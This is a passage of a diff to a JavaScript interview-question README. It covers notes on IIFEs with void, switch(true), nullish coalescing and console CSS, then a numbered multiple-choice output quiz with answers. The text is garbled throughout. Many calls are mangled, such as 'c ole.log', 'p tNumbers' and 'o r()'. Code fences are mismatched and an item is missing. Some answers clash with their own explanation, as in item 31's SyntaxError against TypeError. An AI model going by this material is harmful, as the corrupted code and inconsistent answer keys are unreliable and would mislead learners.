+        //
+        (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+
+        ````
+
+             Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
+
+             ```js
+
+        //
+        void (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+        ````
+
+422.    Is that possible to use expressions in switch cases?
+
+             You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
+
+             ```js
+
+        //
+        const weather = (function getWeather(temp) {
+        switch (true) {
+        case temp < 0:
+        return 'freezing';
+        case temp < 10:
+        return 'cold';
+        case temp < 24:
+        return 'cool';
+        default:
+        return 'unknown';
+        }
+
+             })(10);
+             ```
+
+423.    What is the easiest way to ignore promise errors?
+
+             The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
+
+             ```js
+
+        //
+        await promise.catch((e) => void e);
+
+        ```
+
+        ```
+
+424.    How do style the console output using CSS?
+
+             You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
+
+             ```js
+
+        //
+        console.log('%cThis is a red text', 'color:red');
+
+        ````
+
+             It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
+
+             ```js
+
+        //
+        console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
+        ````
+
+425.    What is nullish coalescing operator (??)?
+
+             It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+
+             ```js
+
+        //
+        console.log(null ?? true); // true
+        console.log(false ?? true); // false
+        console.log(undefined ?? true); // true
+
+        ```
+
+        ```
+
+### Coding Exercise
+
+#### 1. What is the output of below code
+
+````javascript
+var car = new Vehicle('Honda', 'white', '2010', 'UK');
+console.log(car);
+
+function Vehicle(model, color, year, country) {
+    this.model = model;
+    this.color = color;
+    this.year = year;
+    this.country = country;
+}
+`
+
+-  Undefined
+- 2: ReferenceError
+- 3: null
+- 4: {model: "Honda", color: "white", year: "2010", country: "UK"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The function declarations are hoisted similar to any variables. So the placement for `Vehicle` function declaration doesn't make any difference.
+
+</p>
+</details>
+
+---
+
+#### 2. What is the output of below code
+
+```javascript
+function foo() {
+    let x = (y = 0);
+    x++;
+    y++;
+    return x;
+}
+
+c ole.log(foo(), typeof x, typeof y);
+````
+
+-   1, undefined and undefined
+-   2: ReferenceError: X is not defined
+-   3: 1, undefined and number
+-   4: 1, number and number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Of course the return value of `foo()` is 1 due to the increment operator. But the statement `let x = y = 0` declares a local variable x. Whereas y declared as a global variable accidentally. This statement is equivalent to,
+
+```javascript
+let x;
+window.y = 0;
+x = window.y;
+```
+
+Since the block scoped variable x is undefined outside of the function, the type will be undefined too. Whereas the global variable `y` is available outside the function, the value is 0 and type is number.
+
+</p>
+</details>
+
+---
+
+#### 3. What is the output of below code
+
+```javascript
+function main() {
+    console.log('A');
+    setTimeout(function print() {
+        console.log('B');
+    }, 0);
+    console.log('C');
+}
+m();
+```
+
+-   A, B and C
+-   2: B, A and C
+-   3: A and C
+-   4: A, C and B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The statements order is based on the event loop mechanism. The order of statements follows the below order,
+
+1. At first, the main function is pushed to the stack.
+2. Then the browser pushes the fist statement of the main function( i.e, A's console.log) to the stack, executing and popping out immediately.
+3. But `setTimeout` statement moved to Browser API to apply the delay for callback.
+4. In the meantime, C's console.log added to stack, executed and popped out.
+5. The callback of `setTimeout` moved from Browser API to message queue.
+6. The `main` function popped out from stack because there are no statements to execute
+7. The callback moved from message queue to the stack since the stack is empty.
+8. The console.log for B is added to the stack and display on the console.
+
+</p>
+</details>
+
+---
+
+#### 4. What is the output of below equality check
+
+```javascript
+c ole.log(0.1 + 0.2 === 0.3);
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+This is due to the float point math problem. Since the floating point numbers are encoded in binary format, the addition operations on them lead to rounding errors. Hence, the comparison of floating points doesn't give expected results.
+You can find more details about the explanation here [0.30000000000000004.com/](https://0.30000000000000004.com/)
+
+</p>
+</details>
+
+---
+
+#### 5. What is the output of below code
+
+```javascript
+var y = 1;
+if (function f() {}) {
+    y += typeof f;
+}
+c ole.log(y);
+```
+
+-   1function
+-   2: 1object
+-   3: ReferenceError
+-   4: 1undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The main points in the above code snippets are,
+
+1. You can see function expression instead function declaration inside if statement. So it always returns true.
+2. Since it is not declared(or assigned) anywhere, f is undefined and typeof f is undefined too.
+
+In other words, it is same as
+
+```javascript
+var y = 1;
+if ('foo') {
+    y += typeof f;
+}
+console.log(y);
+```
+
+**Note:** It returns 1object for MS Edge browser
+
+</p>
+</details>
+
+---
+
+#### 6. What is the output of below code
+
+```javascript
+function foo() {
+    return;
+    {
+        message: 'Hello World';
+    }
+}
+c ole.log(foo());
+```
+
+-   Hello World
+-   2: Object {message: "Hello World"}
+-   3: Undefined
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+This is a semicolon issue. Normally semicolons are optional in JavaScript. So if there are any statements(in this case, return) missing semicolon, it is automatically inserted immediately. Hence, the function returned as undefined.
+
+Whereas if the opening curly brace is along with the return keyword then the function is going to be returned as expected.
+
+```javascript
+function foo() {
+    return {
+        message: 'Hello World'
+    };
+}
+console.log(foo()); // {message: "Hello World"}
+```
+
+</p>
+</details>
+
+---
+
+#### 7. What is the output of below code
+
+```javascript
+var myChars = ['a', 'b', 'c', 'd'];
+delete myChars[0];
+console.log(myChars);
+console.log(myChars[0]);
+c ole.log(myChars.length);
+```
+
+-   [empty, 'b', 'c', 'd'], empty, 3
+-   2: [null, 'b', 'c', 'd'], empty, 3
+-   3: [empty, 'b', 'c', 'd'], undefined, 4
+-   4: [null, 'b', 'c', 'd'], undefined, 4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The `delete` operator will delete the object property but it will not reindex the array or change its length. So the number or elements or length of the array won't be changed.
+If you try to print myChars then you can observe that it doesn't set an undefined value, rather the property is removed from the array. The newer versions of Chrome use `empty` instead of `undefined` to make the difference a bit clearer.
+
+</p>
+</details>
+
+---
+
+#### 8. What is the output of below code in latest Chrome
+
+```javascript
+var array1 = new Array(3);
+console.log(array1);
+
+var array2 = [];
+array2[2] = 100;
+console.log(array2);
+
+var array3 = [, , ,];
+c ole.log(array3);
+```
+
+-   [undefined × 3], [undefined × 2, 100], [undefined × 3]
+-   2: [empty × 3], [empty × 2, 100], [empty × 3]
+-   3: [null × 3], [null × 2, 100], [null × 3]
+-   4: [], [100], []
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The latest chrome versions display `sparse array`(they are filled with holes) using this empty x n notation. Whereas the older versions have undefined x n notation.
+**Note:** The latest version of FF displays `n empty slots` notation.
+
+</p>
+</details>
+
+---
+
+#### 9. What is the output of below code
+
+```javascript
+const obj = {
+    prop1: function () {
+        return 0;
+    },
+    prop2() {
+        return 1;
+    },
+    ['prop' + 3]() {
+        return 2;
+    }
+};
+
+console.log(obj.prop1());
+console.log(obj.prop2());
+c ole.log(obj.prop3());
+```
+
+-   0, 1, 2
+-   2: 0, { return 1 }, 2
+-   3: 0, { return 1 }, { return 2 }
+-   4: 0, 1, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+ES6 provides method definitions and property shorthands for objects. So both prop2 and prop3 are treated as regular function values.
+
+</p>
+</details>
+
+---
+
+#### 10. What is the output of below code
+
+```javascript
+console.log(1 < 2 < 3);
+c ole.log(3 > 2 > 1);
+```
+
+-   true, true
+-   2: true, false
+-   3: SyntaxError, SyntaxError,
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The important point is that if the statement contains the same operators(e.g, < or >) then it can be evaluated from left to right.
+The first statement follows the below order,
+
+1. console.log(1 < 2 < 3);
+2. console.log(true < 3);
+3. console.log(1 < 3); // True converted as `1` during comparison
+4. True
+
+Whereas the second statement follows the below order,
+
+1. console.log(3 > 2 > 1);
+2. console.log(true > 1);
+3. console.log(1 > 1); // False converted as `0` during comparison
+4. False
+
+</p>
+</details>
+
+---
+
+#### 11. What is the output of below code in non-strict mode
+
+```javascript
+function printNumbers(first, second, first) {
+    console.log(first, second, first);
+}
+p tNumbers(1, 2, 3);
+```
+
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+In non-strict mode, the regular JavaScript functions allow duplicate named parameters. The above code snippet has duplicate parameters on 1st and 3rd parameters.
+The value of the first parameter is mapped to the third argument which is passed to the function. Hence, the 3rd argument overrides the first parameter.
+
+**Note:** In strict mode, duplicate parameters will throw a Syntax Error.
+
+</p>
+</details>
+
+---
+
+#### 12. What is the output of below code
+
+```javascript
+const printNumbersArrow = (first, second, first) => {
+    console.log(first, second, first);
+};
+p tNumbersArrow(1, 2, 3);
+```
+
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Unlike regular functions, the arrow functions doesn't not allow duplicate parameters in either strict or non-strict mode. So you can see `SyntaxError` in the console.
+
+</p>
+</details>
+
+---
+
+#### 13. What is the output of below code
+
+```javascript
+const arrowFunc = () => arguments.length;
+c ole.log(arrowFunc(1, 2, 3));
+```
+
+-   ReferenceError: arguments is not defined
+-   2: 3
+-   3: undefined
+-   4: null
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Arrow functions do not have an `arguments, super, this, or new.target` bindings. So any reference to `arguments` variable tries to resolve to a binding in a lexically enclosing environment. In this case, the arguments variable is not defined outside of the arrow function. Hence, you will receive a reference error.
+
+Where as the normal function provides the number of arguments passed to the function
+
+```javascript
+const func = function () {
+    return arguments.length;
+};
+console.log(func(1, 2, 3));
+```
+
+But If you still want to use an arrow function then rest operator on arguments provides the expected arguments
+
+```javascript
+const arrowFunc = (...args) => args.length;
+console.log(arrowFunc(1, 2, 3));
+```
+
+</p>
+</details>
+
+---
+
+#### 14. What is the output of below code
+
+```javascript
+console.log(String.prototype.trimLeft.name === 'trimLeft');
+c ole.log(String.prototype.trimLeft.name === 'trimStart');
+```
+
+-   1: True, False
+-   2: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+In order to be consistent with functions like `String.prototype.padStart`, the standard method name for trimming the whitespaces is considered as `trimStart`. Due to web web compatibility reasons, the old method name 'trimLeft' still acts as an alias for 'trimStart'. Hence, the prototype for 'trimLeft' is always 'trimStart'
+
+</p>
+</details>
+
+---
+
+#### 15. What is the output of below code
+
+```javascript
+c ole.log(Math.max());
+```
+
+-   undefined
+-   2: Infinity
+-   3: 0
+-   4: -Infinity
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+-Infinity is the initial comparant because almost every other value is bigger. So when no arguments are provided, -Infinity is going to be returned.
+**Note:** Zero number of arguments is a valid case.
+
+</p>
+</details>
+
+---
+
+#### 16. What is the output of below code
+
+```javascript
+console.log(10 == [10]);
+c ole.log(10 == [[[[[[[10]]]]]]]);
+```
+
+-   True, True
+-   2: True, False
+-   3: False, False
+-   4: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+As per the comparison algorithm in the ECMAScript specification(ECMA-262), the above expression converted into JS as below
+
+```javascript
+10 === Number([10].valueOf().toString()); // 10
+```
+
+So it doesn't matter about number brackets([]) around the number, it is always converted to a number in the expression.
+
+</p>
+</details>
+
+---
+
+#### 17. What is the output of below code
+
+```javascript
+console.log(10 + '10');
+c ole.log(10 - '10');
+```
+
+-   20, 0
+-   2: 1010, 0
+-   3: 1010, 10-10
+-   4: NaN, NaN
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The concatenation operator(+) is applicable for both number and string types. So if any operand is string type then both operands concatenated as strings. Whereas subtract(-) operator tries to convert the operands as number type.
+
+</p>
+</details>
+
+---
+
+#### 18. What is the output of below code
+
+````javascript
+console.log([0] == false);
+if ([0]) {
+    console.log("I'm True");
+} else {
+    console.log("I'm False");
+}
+`
+
+-  True, I'm True
+- 2: True, I'm False
+- 3: False, I'm True
+- 4: False, I'm False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+In comparison operators, the expression `[0]` converted to Number([0].valueOf().toString()) which is resolved to false. Whereas `[0]` just becomes a truthy value without any conversion because there is no comparison operator.
+
+</p>
+</details>
+
+#### 19. What is the output of below code
+
+```javascript
+c ole.log([1, 2] + [3, 4]);
+````
+
+-   [1,2,3,4]
+-   2: [1,2][3,4]
+-   3: SyntaxError
+-   4: 1,23,4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The + operator is not meant or defined for arrays. So it converts arrays into strings and concatenates them.
+
+</p>
+</details>
+
+---
+
+#### 20. What is the output of below code
+
+```javascript
+const numbers = new Set([1, 1, 2, 3, 4]);
+console.log(numbers);
+
+const browser = new Set('Firefox');
+c ole.log(browser);
+```
+
+-   {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+-   2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
+-   3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
+-   4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Since `Set` object is a collection of unique values, it won't allow duplicate values in the collection. At the same time, it is case sensitive data structure.
+
+</p>
+</details>
+
+---
+
+#### 21. What is the output of below code
+
+```javascript
+c ole.log(NaN === NaN);
+```
+
+-   1: True
+-   2: False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+JavaScript follows IEEE 754 spec standards. As per this spec, NaNs are never equal for floating-point numbers.
+
+</p>
+</details>
+
+---
+
+#### 22. What is the output of below code
+
+```javascript
+let numbers = [1, 2, 3, 4, NaN];
+c ole.log(numbers.indexOf(NaN));
+```
+
+-   4
+-   2: NaN
+-   3: SyntaxError
+-   4: -1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The `indexOf` uses strict equality operator(===) internally and `NaN === NaN` evaluates to false. Since indexOf won't be able to find NaN inside an array, it returns -1 always.
+But you can use `Array.prototype.findIndex` method to find out the index of NaN in an array or You can use `Array.prototype.includes` to check if NaN is present in an array or not.
+
+```javascript
+let numbers = [1, 2, 3, 4, NaN];
+console.log(numbers.findIndex(Number.isNaN)); // 4
+
+console.log(numbers.includes(NaN)); // true
+```
+
+</p>
+</details>
+
+---
+
+#### 23. What is the output of below code
+
+```javascript
+let [a, ...b,] = [1, 2, 3, 4, 5];
+c ole.log(a, b);
+```
+
+-   1, [2, 3, 4, 5]
+-   2: 1, {2, 3, 4, 5}
+-   3: SyntaxError
+-   4: 1, [2, 3, 4]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+When using rest parameters, trailing commas are not allowed and will throw a SyntaxError.
+If you remove the trailing comma then it displays 1st answer
+
+```javascript
+let [a, ...b] = [1, 2, 3, 4, 5];
+console.log(a, b); // 1, [2, 3, 4, 5]
+```
+
+</p>
+</details>
+
+---
+
+#### 25. What is the output of below code
+
+```javascript
+async function func() {
+    return 10;
+}
+c ole.log(func());
+```
+
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<rejected\>: 10}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Async functions always return a promise. But even if the return value of an async function is not explicitly a promise, it will be implicitly wrapped in a promise. The above async function is equivalent to below expression,
+
+```javascript
+function func() {
+    return Promise.resolve(10);
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 26. What is the output of below code
+
+```javascript
+async function func() {
+    await 10;
+}
+c ole.log(func());
+```
+
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<resolved\>: undefined}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The await expression returns value 10 with promise resolution and the code after each await expression can be treated as existing in a `.then` callback. In this case, there is no return expression at the end of the function. Hence, the default return value of `undefined` is returned as the resolution of the promise. The above async function is equivalent to below expression,
+
+```javascript
+function func() {
+    return Promise.resolve(10).then(() => undefined);
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 27. What is the output of below code
+
+```javascript
+function delay() {
+    return new Promise((resolve) => setTimeout(resolve, 2000));
+}
+
+async function delayedLog(item) {
+    await delay();
+    console.log(item);
+}
+
+async function processArray(array) {
+    array.forEach((item) => {
+        await delayedLog(item);
+    });
+}
+
+p essArray([1, 2, 3, 4]);
+```
+
+-   SyntaxError
+-   2: 1, 2, 3, 4
+-   3: 4, 4, 4, 4
+-   4: 4, 3, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Even though "processArray" is an async function, the anonymous function that we use for `forEach` is synchronous. If you use await inside a synchronous function then it throws a syntax error.
+
+</p>
+
+</details>
+
+---
+
+#### 28. What is the output of below code
+
+```javascript
+function delay() {
+    return new Promise((resolve) => setTimeout(resolve, 2000));
+}
+
+async function delayedLog(item) {
+    await delay();
+    console.log(item);
+}
+
+async function process(array) {
+    array.forEach(async (item) => {
+        await delayedLog(item);
+    });
+    console.log('Process completed!');
+}
+p ess([1, 2, 3, 5]);
+```
+
+-   1 2 3 5 and Process completed!
+-   2: 5 5 5 5 and Process completed!
+-   3: Process completed! and 5 5 5 5
+-   4: Process completed! and 1 2 3 5
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The forEach method will not wait until all items are finished but it just runs the tasks and goes next. Hence, the last statement is displayed first followed by a sequence of promise resolutions.
+
+But you control the array sequence using for..of loop,
+
+```javascript
+async function processArray(array) {
+    for (const item of array) {
+        await delayedLog(item);
+    }
+    console.log('Process completed!');
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 29. What is the output of below code
+
+```javascript
+var set = new Set();
+set.add('+0').add('-0').add(NaN).add(undefined).add(NaN);
+c ole.log(set);
+```
+
+-   Set(4) {"+0", "-0", NaN, undefined}
+-   2: Set(3) {"+0", NaN, undefined}
+-   3: Set(5) {"+0", "-0", NaN, undefined, NaN}
+-   4: Set(4) {"+0", NaN, undefined, NaN}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Set has few exceptions from equality check,
+
+1. All NaN values are equal
+2. Both +0 and -0 considered as different values
+
+</p>
+</details>
+
+---
+
+#### 30. What is the output of below code
+
+```javascript
+const sym1 = Symbol('one');
+const sym2 = Symbol('one');
+
+const sym3 = Symbol.for('two');
+const sym4 = Symbol.for('two');
+
+c oe.log(sym1 === sym2, sym3 === sym4);
+```
+
+-   true, true
+-   2: true, false
+-   3: false, true
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Symbol follows below conventions,
+
+1. Every symbol value returned from Symbol() is unique irrespective of the optional string.
+2. `Symbol.for()` function creates a symbol in a global symbol registry list. But it doesn't necessarily create a new symbol on every call, it checks first if a symbol with the given key is already present in the registry and returns the symbol if it is found. Otherwise a new symbol created in the registry.
+
+**Note:** The symbol description is just useful for debugging purposes.
+
+</p>
+
+</details>
+
+---
+
+#### 31. What is the output of below code
+
+```javascript
+const sym1 = new Symbol('one');
+c ole.log(sym1);
+```
+
+-   SyntaxError
+-   2: one
+-   3: Symbol('one')
+-   4: Symbol
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+`Symbol` is a just a standard function and not an object constructor(unlike other primitives new Boolean, new String and new Number). So if you try to call it with the new operator will result in a TypeError
+
+</p>
+
+</details>
+
+---
+
+#### 32. What is the output of below code
+
+````javascript
+let myNumber = 100;
+let myString = '100';
+
+if (!typeof myNumber === 'string') {
+    console.log('It is not a string!');
+} else {
+    console.log('It is a string!');
+}
+
+if (!typeof myString === 'number') {
+    console.log('It is not a number!');
+} else {
+    console.log('It is a number!');
+}
+`
+
+-  SyntaxError
+- 2: It is not a string!, It is not a number!
+- 3: It is not a string!, It is a number!
+- 4: It is a string!, It is a number!
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The return value of `typeof myNumber (OR) typeof myString` is always the truthy value (either "number" or "string"). Since ! operator converts the value to a boolean value, the value of both `!typeof myNumber or !typeof myString` is always false. Hence the if condition fails and control goes to else block.
+
+</p>
+
+</details>
+
+---
+
+#### 33. What is the output of below code
+
+```javascript
+console.log(JSON.stringify({ myArray: ['one', undefined, function () {}, Symbol('')] }));
+c ole.log(JSON.stringify({ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]));
+````
+
+-   {"myArray":['one', undefined, {}, Symbol]}, {}
+-   2: {"myArray":['one', null,null,null]}, {}
+-   3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
+-   4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The symbols has below constraints,
+
+1. The undefined, Functions, and Symbols are not valid JSON values. So those values are either omitted (in an object) or changed to null (in an array). Hence, it returns null values for the value array.
+2. All Symbol-keyed properties will be completely ignored. Hence it returns an empty object({}).
+
+</p>
+
+</details>
+
+---
+
+#### 34. What is the output of below code
+
+```javascript
+class A {
+    constructor() {
+        console.log(new.target.name);
+    }
+}
+
+class B extends A {
+    constructor() {
+        super();
+    }
+}
+
+new A();
+n B();
+```
+
+-   1: A, A
+-   2: A, B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Using constructors, `new.target` refers to the constructor (points to the class definition of class which is initialized) that was directly invoked by new. This also applies to the case if the constructor is in a parent class and was delegated from a child constructor.
+
+</p>
+
+</details>
+
+---
+
+#### 35. What is the output of below code
+
+```javascript
+const [x, ...y,] = [1, 2, 3, 4];
+c ole.log(x, y);
+```
+
+-   1, [2, 3, 4]
+-   2: 1, [2, 3]
+-   3: 1, [2]
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+It throws a syntax error because the rest element should not have a trailing comma. You should always consider using a rest operator as the last element.
+
+</p>
+
+</details>
+
+---
+
+#### 36. What is the output of below code
+
+```javascript
+const { a: x = 10, b: y = 20 } = { a: 30 };
+
+console.log(x);
+c ole.log(y);
+```
+
+-   30, 20
+-   2: 10, 20
+-   3: 10, undefined
+-   4: 30, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The object property follows below rules,
+
+1. The object properties can be retrieved and assigned to a variable with a different name
+2. The property assigned a default value when the retrieved value is `undefined`
+
+</p>
+
+</details>
+
+---
+
+#### 37. What is the output of below code
+
+```javascript
+function area({ length = 10, width = 20 }) {
+    console.log(length * width);
+}
+
+a();
+```
+
+-   200
+-   2: Error
+-   3: undefined
+-   4: 0
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+If you leave out the right-hand side assignment for the destructuring object, the function will look for at least one argument to be supplied when invoked. Otherwise you will receive an error `Error: Cannot read property 'length' of undefined` as mentioned above.
+
+You can avoid the error with either of the below changes,
+
+1. **Pass at least an empty object:**
+
+```javascript
+function area({ length = 10, width = 20 }) {
+    console.log(length * width);
+}
+
+area({});
+```
+
+2. **Assign default empty object:**
+
+```javascript
+function area({ length = 10, width = 20 } = {}) {
+    console.log(length * width);
+}
+
+area();
+```
+
+</p>
+
+</details>
+
+---
+
+#### 38. What is the output of below code
+
+```javascript
+const props = [
+    { id: 1, name: 'John' },
+    { id: 2, name: 'Jack' },
+    { id: 3, name: 'Tom' }
+];
+
+const [, , { name }] = props;
+c ole.log(name);
+```
+
+-   Tom
+-   2: Error
+-   3: undefined
+-   4: John
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+It is possible to combine Array and Object destructuring. In this case, the third element in the array props accessed first followed by name property in the object.
+
+</p>
+
+</details>
+
+---
+
+#### 39. What is the output of below code
+
+```javascript
+function checkType(num = 1) {
+    console.log(typeof num);
+}
+
+checkType();
+checkType(undefined);
+checkType('');
+c kType(null);
+```
+
+-   number, undefined, string, object
+-   2: undefined, undefined, string, object
+-   3: number, number, string, object
+-   4: number, number, number, number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+If the function argument is set implicitly(not passing argument) or explicitly to undefined, the value of the argument is the default parameter. Whereas for other falsy values('' or null), the value of the argument is passed as a parameter.
+
+Hence, the result of function calls categorized as below,
+
+1. The first two function calls logs number type since the type of default value is number
+2. The type of '' and null values are string and object type respectively.
+
+</p>
+
+</details>
+
+---
+
+#### 40. What is the output of below code
+
+```javascript
+function add(item, items = []) {
+    items.push(item);
+    return items;
+}
+
+console.log(add('Orange'));
+c ole.log(add('Apple'));
+```
+
+-   1: ['Orange'], ['Orange', 'Apple']
+-   2: ['Orange'], ['Apple']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Since the default argument is evaluated at call time, a new object is created each time the function is called. So in this case, the new array is created and an element pushed to the default empty array.
+
+</p>
+
+</details>
+
+---
+
+#### 41. What is the output of below code
+
+```javascript
+function greet(greeting, name, message = greeting + ' ' + name) {
+    console.log([greeting, name, message]);
+}
+
+greet('Hello', 'John');
+g t('Hello', 'John', 'Good morning!');
+```
+
+-   1: SyntaxError
+-   2: ['Hello', 'John', 'Hello John'], ['Hello', 'John', 'Good morning!']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Since parameters defined earlier are available to later default parameters, this code snippet doesn't throw any error.
+
+</p>
+
+</details>
+
+---
+
+#### 42. What is the output of below code
+
+```javascript
+function outer(f = inner()) {
+    function inner() {
+        return 'Inner';
+    }
+}
+o r();
+```
+
+-   1: ReferenceError
+-   2: Inner
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+The functions and variables declared in the function body cannot be referred from default value parameter initializers. If you still try to access, it throws a run-time ReferenceError(i.e, `inner` is not defined).
+
+</p>
+
+</details>
+
+---
+
+#### 43. What is the output of below code
+
+```javascript
+function myFun(x, y, ...manyMoreArgs) {
+    console.log(manyMoreArgs);
+}
+
+myFun(1, 2, 3, 4, 5);
+m n(1, 2);
+```
+
+-   [3, 4, 5], undefined
+-   2: SyntaxError
+-   3: [3, 4, 5], []
+-   4: [3, 4, 5], [undefined]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The rest parameter is used to hold the remaining parameters of a function and it becomes an empty array if the argument is not provided.
+
+</p>
+
+</details>
+
+---
+
+#### 44. What is the output of below code
+
+```javascript
+const obj = { key: 'value' };
+const array = [...obj];
+c ole.log(array);
+```
+
+-   ['key', 'value']
+-   2: TypeError
+-   3: []
+-   4: ['key']
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+Spread syntax can be applied only to iterable objects. By default, Objects are not iterable, but they become iterable when used in an Array, or with iterating functions such as `map(), reduce(), and assign()`. If you still try to do it, it still throws `TypeError: obj is not iterable`.
+
+</p>
+
+</details>
+
+---
+
+#### 45. What is the output of below code
+
+```javascript
+function* myGenFunc() {
+    yield 1;
+    yield 2;
+    yield 3;
+}
+var myGenObj = new myGenFunc();
+c ole.log(myGenObj.next().value);
+```
+
+-   1
+-   2: undefined
+-   3: SyntaxError
+-   4: TypeError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+Generators are not constructible type. But if you still proceed to do, there will be an error saying "TypeError: myGenFunc is not a constructor"
+
+</p>
+
+</details>
+
+---
+
+#### 46. What is the output of below code
+
+```javascript
+function* yieldAndReturn() {
+    yield 1;
+    return 2;
+    yield 3;
+}
+
+var myGenObj = yieldAndReturn();
+console.log(myGenObj.next());
+console.log(myGenObj.next());
+c ole.log(myGenObj.next());
+```
+
+-   { value: 1, done: false }, { value: 2, done: true }, { value: undefined, done: true }
+-   2: { value: 1, done: false }, { value: 2, done: false }, { value: undefined, done: true }
+-   3: { value: 1, done: false }, { value: 2, done: true }, { value: 3, done: true }
